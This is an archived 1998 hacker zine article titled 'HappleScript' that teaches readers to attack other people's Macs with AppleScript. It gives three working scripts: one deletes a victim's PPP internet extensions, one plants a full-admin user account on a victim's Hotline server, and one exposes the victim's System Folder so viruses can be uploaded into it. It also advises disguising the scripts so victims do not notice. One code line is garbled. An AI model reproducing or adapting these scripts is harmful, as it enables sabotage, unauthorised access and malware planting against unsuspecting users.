home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Happle / Happlev3.sit / Happle v. 3 / Happle v3.0.rsrc / TEXT_134.txt < prev    next >
Text File  |  1998-06-30  |  3KB  |  105 lines

  1.                         HappleScript
  2.  
  3. Hacking with AppleScript
  4.  
  5. Introduction
  6.  
  7. AppleScript is a wonderful tool for whatever the job is, from organizing your desktop to hacking people's computers.  To succesfully do what is described here you will need the following two things:
  8.  
  9. AppleScript - Which comes fully equipped on any Macintosh
  10. Hotline - recommended but not required.
  11.  
  12. A little background:
  13.  
  14. For those of you who don't know, AppleScript is a scripting language for Apple Macintosh computers.  It lets you do anything from shortcuts to making small applications.  What you use to create shortcuts and applications is the script editor which is in the apple extras folder of your hard drive usually.  For these applescripts below to work, just copy them into the script editor.  Then save them as read only.  Your script editor window should look something like this:
  15.  
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35.  
  36.  
  37.  
  38.  
  39.  
  40.  
  41. Note - For the rest of these examples you need to save the applescript as read only.  Or else the victim will know what is going on.
  42.  
  43. Some examples
  44.  
  45. There are billions of fun things to do with AppleScript but for now I will just list a few.
  46.  
  47. 1) --Erase their internet extensions--
  48.  
  49. Tell application "finder"
  50.         move file "PPP" of folder "Extensions" of folder "System Folder" of startup disk to trash
  51. End tell
  52.  
  53. Tell application "Finder"
  54.         Clean up trash
  55. End tell
  56.         
  57. Tell application "Finder"
  58.         move file "Config PPP" of folder "Control Panels" of folder 
  59.         "System Folder" of startup disk
  60. End tell
  61.  
  62. Tell application "Finder"
  63.         Clean up trash
  64. End tell
  65.  
  66. 2) --Hotline Full admin access--
  67.  
  68. About - For this to work you need to upload two things to someone's server.  One, a saved user file with full admin access.  Let's call this saved file "Jerry."  And you need this applescript; it is a good idea to rename it and change the icon.  Applescript is subject to change according to how the person's server is set up.
  69.  
  70. Tell application "finder"
  71.             move file "Jerry" of folder "Uploads" of folder "Files" of folder 
  72.             "Server folder"of folder "Hotline Server"  of startup disk to
  73.          folder "Users" of folder "Server folder" of folder "Hotline Server"     
  74.             of startup disk
  75. End tell
  76.  
  77. You might need to ask the person where the Hotline server folder is located.  It is usually located in his hard drive aka startup disk.  Until later, when I find out how to make applescript find things then move them, this is the only technique I can think of.
  78.  
  79. 3) --If you really want to screw with someone using hotline--
  80.  
  81. tell application "Finder"
  82.         activate
  83.         select folder "System Folder" of startup disk
  84.         make new alias file to selection at startup disk
  85.         select file "System Folder alias" of startup disk
  86.         move selection to folder "Files" of folder "Server Folder" of folder "Hotline Server" 
  87.         of folder "Hotline" of  startup disk 
  88.         set ¬´class ¬ª of file "System Folder Uploads" of folder "Files" of folder "Server Folder" of folder "Hotline Server" of  startup disk to "System Folder Uploads"
  89. end tell
  90.  
  91.  This little happlescript will make an alias of the System folder and place it in the hotline files folder then rename it System Folder Uploads so that you can upload viruses and such, if you want.
  92.  
  93. More Foolproof teqniques will be in the next issue.
  94.  
  95.  
  96.  
  97. $  $          ##   ##
  98. $  $         #  # #  #
  99. $$$$        #    #    #
  100. $  $                #           #
  101. $  $  ACK  #           #  AC
  102.  
  103.         |***********************|
  104. e-mail- | Happle@mindspring.com |
  105.         '***********************'